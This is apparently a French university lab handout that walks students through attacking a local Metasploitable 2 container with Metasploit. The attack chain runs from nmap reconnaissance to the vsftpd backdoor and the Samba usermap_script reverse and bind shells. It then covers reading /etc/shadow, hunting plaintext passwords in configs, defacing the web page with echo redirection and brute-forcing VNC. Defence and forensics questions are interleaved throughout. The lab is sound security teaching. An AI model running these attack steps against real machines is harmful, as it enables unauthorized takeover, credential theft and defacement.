TP 9 : Introduction à l’Exploitation avec Metasploit

Jusqu’à présent, vous avez appris à analyser des paquets et à manipuler le réseau. Aujourd’hui, nous passons à l’offensive. L’objectif de ce TP est de comprendre comment les vulnérabilités logicielles sont exploitées dans le monde réel pour prendre le contrôle d’une machine distante.

Vous allez utiliser Metasploit Framework, l’outil standard de l’industrie pour le test d’intrusion.


0. Mise en place du Laboratoire

Pour éviter d’attaquer de vraies machines (ce qui est illégal !), nous allons déployer une cible virtuellement vulnérable (Metasploitable 2) directement sur votre machine locale via Docker. Cette étape est à réaliser scrupuleusement avant de commencer.

  1. Installation de Metasploit : Ouvrez un terminal sur votre VM Ubuntu et exécutez ces commandes :
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
    chmod 755 msfinstall
    sudo ./msfinstall
    

    Le téléchargement et l’installation peuvent prendre de longues minutes — laissez tourner. Le tout premier lancement de msfconsole initialise une base de données et peut prendre 1 à 2 minutes supplémentaires : c’est normal - ne fermez pas la fenêtre et ouvrez un autre terminal pour avancer en parallèle sur le prochain point.

  2. Démarrage de la cible : Lancez le conteneur vulnérable en tâche de fond. Attention : cette image ne démarre pas ses services automatiquement, il faut le lui demander explicitement avec services.sh.
    sudo docker run --name victim -d tleemcjr/metasploitable2:latest \
      sh -c "/bin/services.sh && tail -f /dev/null"
    

    Patientez quelques secondes, puis vérifiez que les services tournent bien à l’intérieur du conteneur :

    sudo docker exec victim netstat -tln 2>/dev/null | grep LISTEN
    

    Vous devez voir au minimum les ports 21, 22, 80, 139, 445 et 3306 en écoute. Si la liste est vide, le conteneur n’est pas prêt : attendez encore quelques secondes et recommencez.

  3. Identification des adresses IP :
    • Votre adresse IP (Attaquant) : Trouvez l’adresse de votre interface docker0 (généralement 172.17.0.1) via la commande ip a.
    • L’adresse IP de la cible : Exécutez sudo docker inspect -f '' victim.

Notez ces deux adresses IP précieusement, vous en aurez besoin tout au long du TP.


Partie 1 : La Reconnaissance

Un bon hacker ne frappe jamais au hasard. Il doit d’abord cartographier sa cible.

  1. Utilisez l’outil nmap pour scanner votre cible.
  2. Question : Quelle option de nmap devez-vous utiliser pour découvrir non seulement les ports ouverts, mais aussi la version exacte des services qui y tournent ?

    Indice 1 — vous bloquez ? Tapez nmap --help et cherchez la section sur la service/version detection. Une option courte commence par -s.
    Indice 2 — toujours bloqué ? L'option à utiliser est -sV. Vous pouvez la combiner avec un scan de tous les ports : nmap -sV -p- <IP> (mais c'est plus lent).
    Mon scan dit "Host seems down" ou prend très longtemps Certains conteneurs Docker ne répondent pas au ping ICMP utilisé par défaut par nmap pour la découverte d'hôte. Forcez le scan avec l'option -Pn qui dit à nmap de considérer la cible comme vivante sans la pinger : nmap -sV -Pn <IP>.
  3. Analysez le résultat du scan. Parmi tous les services découverts, lesquels vous semblent les plus “à risque” ? Notez-en 2 ou 3 et justifiez votre choix (ancienneté apparente du logiciel, type de service, exposition habituelle sur Internet…). Vous y reviendrez peut-être plus tard.

    Indice — comment juger qu'un service est "à risque" ? Quelques pistes : un numéro de version qui semble très ancien (ex. 2.3.x là où on en est à 3.x aujourd'hui), un service de partage de fichiers exposé sur Internet, un service en clair (sans chiffrement) comme telnet ou FTP, un service rarement mis à jour…

Question de réflexion Pourquoi un attaquant cherche-t-il la version exacte d’un service, et pas seulement son nom ? Que se passe-t-il, du point de vue de l’attaquant, si nmap ne parvient à identifier qu’un nom sans numéro de version ?

Côté défense Si vous étiez l’administrateur de cette machine, quelle information aimeriez-vous cacher à nmap ? Est-ce vraiment possible ? (Cherchez le terme “banner grabbing”.)


Partie 2 : Première compromission (Bind Shell)

Concentrez-vous sur le service tournant sur le port 21 (FTP). Ce service précis a une histoire célèbre : en 2011, quelqu’un a réussi à modifier le code source officiel du projet pour y glisser une “porte dérobée” (backdoor). Si on s’y connecte avec un nom d’utilisateur contenant un smiley :), le serveur ouvre secrètement un port offrant un accès total. Cette backdoor est restée disponible au téléchargement plusieurs jours avant d’être détectée.

Nous allons exploiter cette faille avec Metasploit.

  1. Lancez la console Metasploit en tapant msfconsole dans votre terminal.
  2. Utilisez la commande search de msfconsole pour trouver un module correspondant à la version exacte du service FTP que vous avez identifié au scan.
    • Plusieurs résultats peuvent apparaître. Comment décidez-vous lequel choisir ? Observez les colonnes Rank et Disclosure Date — que vous apprennent-elles ?
    Indice 1 — quelle requête de recherche ? Tapez simplement search suivi du nom du logiciel et de son numéro de version, séparés par un espace. Plus vous êtes précis, moins vous aurez de résultats à trier.
    Indice 2 — comment choisir parmi les résultats ? La colonne Rank indique la fiabilité de l'exploit (de excellent à low). Privilégiez les modules de haut rang : ils marchent du premier coup et ne plantent généralement pas la cible. La colonne Disclosure Date indique quand la faille a été rendue publique.
  3. Sélectionnez le module pertinent avec la commande use <chemin_du_module>.

    Indice — vous pouvez gagner du temps Vous n'avez pas besoin de retaper tout le chemin : use 0 sélectionne le premier résultat de votre dernière recherche.
  4. Tapez la commande show options. Cette commande est votre meilleure amie : elle liste les paramètres nécessaires pour lancer l’attaque.
  5. Analyse : Observez la colonne Required. Quel paramètre obligatoire est actuellement vide ?
  6. Configurez ce paramètre avec la commande set <NOM_DU_PARAMETRE> <IP_DE_LA_CIBLE>.
  7. Lancez l’attaque avec la commande run.

Question de réflexion Le module que vous venez d’utiliser porte le mot backdoor, et non exploit au sens classique du terme. Quelle est la différence conceptuelle entre exploiter un bug et utiliser une backdoor ? Cette faille est-elle une erreur de programmation ou un acte volontaire ? Et qu’est-ce que cela vous apprend sur les risques liés à la chaîne d’approvisionnement logicielle (supply chain) — c’est-à-dire au fait que vous téléchargez et exécutez du code écrit par d’autres ?

Si tout se passe bien, votre invite de commande change. Vous n’êtes plus sur votre machine, mais sur la cible ! (C’est ce qu’on appelle un Bind Shell.)

Voici le flux complet d’un bind shell, étape par étape :

sequenceDiagram
    autonumber
    participant A as Attaquant
    participant V as Victime<br/>(RHOSTS)

    Note over A,V: L'attaquant déclenche la backdoor<br/>(payload "bind" injecté)
    A->>V: exploit (vsftpd 2.3.4 backdoor)

    Note over V: La victime exécute le payload qui<br/>ouvre un port d'écoute local
    V-->>V: listen on RHOSTS:6200

    Note over A,V: L'attaquant se connecte<br/>au port nouvellement ouvert
    A->>V: TCP SYN → RHOSTS:6200
    V->>A: TCP SYN-ACK
    A->>V: TCP ACK

    Note over A,V: Session shell ouverte<br/>(le 1er paquet part de l'ATTAQUANT)
    A->>V: stdin / stdout du shell

Le point clé à retenir : dans un bind shell, c’est l’attaquant qui initie la connexion TCP vers la victime. Du point de vue d’un pare-feu d’entreprise, cela ressemble à une connexion entrante non sollicitée — exactement ce que le pare-feu est conçu pour bloquer. Retenez bien ce sens : il sera le contraire de celui que vous verrez en Partie 3.

Mission : prouvez votre niveau de privilèges.

  • Identifiez d’abord sous quel compte vous êtes connecté.

    Indice La commande Linux qui répond à "qui suis-je ?" est… exactement cela, en anglais et en un seul mot.
  • Puis prouvez que vous avez les droits d’administrateur en lisant un fichier qui n’est normalement accessible qu’à root. À vous de trouver lequel : pensez aux fichiers sensibles vus en cours de système d’exploitation (où sont stockés les hachages des mots de passe sur un Linux moderne ?).

    Indice 1 Sur les Linux modernes, les hachages des mots de passe ne sont plus dans /etc/passwd (qui est lisible par tout le monde) mais dans un autre fichier du même dossier, dont le nom évoque une "ombre".
    Indice 2 Le fichier est /etc/shadow. Lisez-le avec cat.

Appuyez ensuite sur Ctrl+C et confirmez avec y pour quitter la session et revenir à Metasploit.

Côté défense Vous venez de prendre le contrôle complet de cette machine en quelques commandes. Pourtant, aucune ligne de code de vsftpd n’avait besoin d’être réécrite pour empêcher cette attaque. Quelle action simple un administrateur système aurait-il pu entreprendre pour rendre votre attaque impossible ? Pourquoi cette action si simple est-elle, en pratique, si souvent négligée dans les vraies entreprises ?


Partie 3 : Contourner les défenses (Reverse Shell)

Le Bind Shell de la Partie 2 fonctionne… dans notre laboratoire. Mais dans un vrai réseau d’entreprise, il a très peu de chances de marcher. Vous allez attaquer une autre faille — sur le service Samba cette fois — et vous allez voir que Metasploit a anticipé le problème pour vous.

  1. Revenez à votre scan Nmap initial. Identifiez le service de partage de fichiers Samba (ports 139/445).
  2. Dans Metasploit, cherchez la faille nommée usermap_script et sélectionnez-la (search ... puis use ...).

    Indice search usermap_script puis use 0 (ou le chemin complet du module renvoyé).
  3. Au moment où vous tapez use, lisez attentivement le message qui s’affiche : Metasploit vous annonce qu’il a automatiquement sélectionné un payload par défaut. Notez son nom — vous allez en avoir besoin dans un instant.

Question de réflexion — l’évolution des défauts Le payload par défaut sélectionné par Metasploit pour ce module contient le mot reverse. Pour vsftpd (Partie 2), aucun payload n’était sélectionné par défaut, et le résultat naturel était un bind shell (l’attaquant se connecte au port 6200 ouvert par la backdoor sur la victime).

Pour Samba en revanche, Metasploit a fait le choix d’un reverse shell par défaut. Pourquoi, à votre avis, les versions modernes de Metasploit privilégient-elles un reverse plutôt qu’un bind ? Quelle évolution du paysage réseau de ces 20 dernières années cette décision reflète-t-elle ? (Pensez aux pare-feux d’entreprise, aux NAT chez les particuliers, au cloud…)

Pour comprendre ce que va faire ce payload, voici comment fonctionne un Reverse Shell : plutôt que d’attendre que la victime ouvre un port pour nous (ce qu’un pare-feu bloquerait dans la vraie vie), c’est nous qui nous mettons en écoute, et c’est la victime qui vient se connecter à nous. Le trafic sortant d’une entreprise est presque toujours autorisé — d’où l’efficacité du procédé.

Voici le flux complet d’un reverse shell, étape par étape :

sequenceDiagram
    autonumber
    participant A as Attaquant<br/>(LHOST)
    participant V as Victime<br/>(RHOSTS)

    Note over A: L'attaquant se met d'abord<br/>en écoute sur un port local
    A-->>A: listen on LHOST:4444

    Note over A,V: L'attaquant déclenche la faille<br/>(payload "reverse" injecté)
    A->>V: exploit (ex. Samba usermap_script)

    Note over V: La victime exécute le payload<br/>qui contient l'ordre :<br/>"connecte-toi à LHOST:4444"
    V->>A: TCP SYN → LHOST:4444
    A->>V: TCP SYN-ACK
    V->>A: TCP ACK

    Note over A,V: Session shell ouverte<br/>(le 1er paquet part de la VICTIME)
    V->>A: stdin / stdout du shell

Le point clé à retenir : dans un reverse shell, le tout premier paquet TCP (SYN) part de la victime vers l’attaquant, jamais l’inverse. C’est exactement ce qui permet de traverser un pare-feu qui bloque les connexions entrantes : du point de vue du pare-feu, c’est “juste” un utilisateur interne qui consulte un site externe.

  1. Tapez maintenant show options. Comparez avec ce que vous aviez en Partie 2 : une nouvelle section “Payload options” est apparue, et elle contient un paramètre LHOST.
  2. Réflexion : Pourquoi LHOST n’apparaissait-il pas dans la Partie 2, et apparaît-il ici ? Que représente-t-il, et que devez-vous y mettre ?

    Indice — quelle valeur pour LHOST ? LHOST = "Local Host" = l'adresse à laquelle la victime doit se connecter pour vous joindre. Metasploit a probablement déjà pré-rempli ce champ pour vous, en détectant l'IP de votre interface docker0 (souvent 172.17.0.1). Vérifiez la valeur affichée : si elle correspond bien à l'IP que vous avez notée à l'étape 0 du TP, vous n'avez rien à changer. Sinon, corrigez-la avec set LHOST <votre_IP>.
  3. Configurez RHOSTS, vérifiez que LHOST est correct, et lancez l’attaque (run).

Exercice de comparaison Vous avez maintenant les deux diagrammes sous les yeux : Bind Shell (Partie 2) et Reverse Shell (Partie 3). Sur une feuille de papier, recopiez schématiquement les deux scénarios côte à côte, puis ajoutez sur chacun un pare-feu d’entreprise placé entre l’attaquant (à l’extérieur du réseau) et la victime (à l’intérieur). Ce pare-feu est configuré pour bloquer tout trafic entrant non sollicité, mais laisse passer tout le trafic sortant.

Répondez ensuite à ces questions, en vous appuyant sur vos schémas :

  1. Sur quel scénario le premier paquet SYN est-il bloqué par le pare-feu ? Pourquoi ?
  2. Sur l’autre scénario, pourquoi le pare-feu laisse-t-il passer la connexion alors qu’elle aboutit, in fine, à donner le contrôle de la machine interne à un attaquant externe ?
  3. Imaginez maintenant que le pare-feu, en plus de bloquer l’entrant, ne laisse sortir que le trafic vers les ports 80 et 443 (HTTP/HTTPS). Que devrait faire l’attaquant pour que son reverse shell continue de passer ?

Exercice optionnel — forcer un bind shell pour comparer Vous venez d’utiliser le payload reverse par défaut. Et si vous forciez manuellement un bind shell sur cette même attaque Samba, pour reproduire le scénario “à l’ancienne” de la Partie 2 ? Essayez :

set payload cmd/unix/bind_perl
show options
run

Observez attentivement la ligne Command shell session N opened (... -> ...). Comparez le sens de la flèche avec celui que vous aviez obtenu juste avant avec le payload reverse. Que constatez-vous ? Lequel des deux scénarios traverserait un pare-feu d’entreprise classique ? (Pour revenir au reverse, refaites set payload cmd/unix/reverse_netcat.)

Observation : Lisez attentivement les lignes affichées lors du succès de l’attaque. Remarquez le sens de la connexion (IP:port -> IP:port) : cela confirme qu’il s’agit bien d’un Reverse Shell.


Partie 4 : Post-exploitation — Pillage et signature

Note: vous devriez arriver sur une invite meterpreter > : C’est le programme ‘couteau suisse’ de metasploit qui est lancé sur la machine victime. Il permet beaucoup de choses et, pour ouvrir un shell, vous pouvez juste taper ‘shell’.

Vous avez de nouveau les droits d’administrateur (root) sur la machine cible. Un vrai attaquant ne se contente jamais d’obtenir un shell : il explore, collecte, puis (parfois) laisse une trace. C’est la phase de post-exploitation.

4.1 Mission de reconnaissance interne

Avant de laisser votre signature, comportez-vous comme un véritable attaquant : explorez la machine et collectez des informations qui pourraient être réutilisées pour aller plus loin (rebondir vers d’autres systèmes, vendre des données, etc.).

Trouvez et notez quelque part:

  1. Le nom d’hôte de la machine et la version exacte du système d’exploitation.

    Indice Les commandes hostname et uname -a sont vos amies. Pour la distribution exacte, regardez aussi /etc/issue ou /etc/*release*.
  2. La liste des utilisateurs ayant un shell de connexion valide (regardez le fichier qui décrit les comptes utilisateurs sous Linux). Combien y en a-t-il ? Lesquels vous semblent intéressants ?

    Indice 1 Le fichier qui liste tous les comptes utilisateurs Linux est /etc/passwd. Lisez-le.
    Indice 2 Chaque ligne se termine par le shell de l'utilisateur. Les comptes système ont en général /bin/false ou /usr/sbin/nologin. Les vrais utilisateurs ont /bin/bash (ou similaire). Vous pouvez les filtrer avec grep bash /etc/passwd.
  3. Au moins un fichier de configuration contenant un mot de passe ou une clé en clair. Indice : pensez aux services tournant sur la machine (vous les avez vus avec nmap). Beaucoup d’entre eux ont besoin de stocker des credentials quelque part dans /etc/.

    Indice 1 Pensez aux bases de données : elles ont besoin d'un mot de passe pour démarrer, et celui-ci est souvent stocké en clair dans leur fichier de configuration. Quelle base de données avez-vous vue dans le scan nmap ?
    Indice 2 Regardez par exemple dans /etc/mysql/ ou faites grep -ri "password" /etc/mysql/ 2>/dev/null. Vous trouverez aussi des informations intéressantes dans /etc/proftpd.conf, /etc/samba/smb.conf, etc.
  4. Le contenu du crontab de root (les tâches planifiées exécutées automatiquement avec les droits d’administrateur). Pourquoi est-ce une cible très intéressante pour un attaquant qui veut maintenir son accès ?

    Indice La commande crontab -l liste les tâches planifiées de l'utilisateur courant. Vous pouvez aussi regarder directement les fichiers /etc/crontab et /etc/cron.*/.

Pour chaque trouvaille, notez (chemin du fichier) vous l’avez trouvée. C’est ce que ferait un vrai pentester dans son rapport.

4.2 Le défaçage (signature de l’attaquant)

Il est maintenant temps de prouver votre passage en modifiant la page d’accueil du serveur web de la cible.

  1. Trouvez la racine du serveur web : sur une distribution Debian/Ubuntu, où Apache range-t-il les fichiers servis par défaut ? Naviguez jusque-là depuis votre shell.

    Indice Le dossier par défaut est /var/www/ (parfois /var/www/html/ sur les versions plus récentes). Faites ls /var/www/ pour voir.
  2. Identifiez le fichier d’accueil actuellement servi (probablement index.php ou index.html).
  3. Remplacez son contenu par un message de votre cru, par exemple : <h1>Hacked by [Votre Pseudo]</h1>. À vous de trouver la commande shell qui permet d’écraser un fichier avec une chaîne de texte (vous l’avez probablement déjà utilisée en cours de système).

    Indice L'opérateur de redirection > écrase un fichier avec ce qu'on lui envoie. Exemple : echo "mon texte" > /chemin/vers/fichier.
  4. Ouvrez Firefox sur votre VM Ubuntu et visitez http://<IP_DE_LA_CIBLE> pour admirer le résultat.

Question de réflexion — Forensique Vous venez de défacer un site. Si demain un analyste forensique enquêtait sur cette machine, quelles traces pourrait-il retrouver de votre passage ? Pensez à au moins trois sources d’information différentes (indice : /var/log/, l’historique du shell, les métadonnées des fichiers que vous venez de modifier…). Comment, à partir de ces traces, pourrait-il reconstituer le scénario complet de votre attaque ?

Côté défense En vous appuyant sur votre réponse précédente : si vous étiez l’administrateur de cette machine, quels mécanismes mettriez-vous en place pour qu’une attaque comme la vôtre soit détectée rapidement (et pas trois mois après) ? (Cherchez les termes : file integrity monitoring, centralisation des logs, SIEM.)

Félicitations, vous venez de réaliser un défaçage (Defacement) et une mission complète de post-exploitation.

5. Prise de contrôle graphique via VNC

Le service VNC est également actif sur la cible. Saurez-vous l’exploiter en autonomie ?

  1. Brute-force : Identifiez et utilisez le module auxiliary de Metasploit pour trouver le mot de passe du service.
  2. Accès graphique : Connectez-vous à la cible depuis votre terminal avec la commande vncviewer <IP_CIBLE>.
  3. Preuve de succès : Créez un dossier nommé ROOTED directement sur le bureau de l’interface graphique.

Indice : Inutile de chercher un dictionnaire complexe, le mot de passe est identique au nom du service.


This site uses Just the Docs, a documentation theme for Jekyll.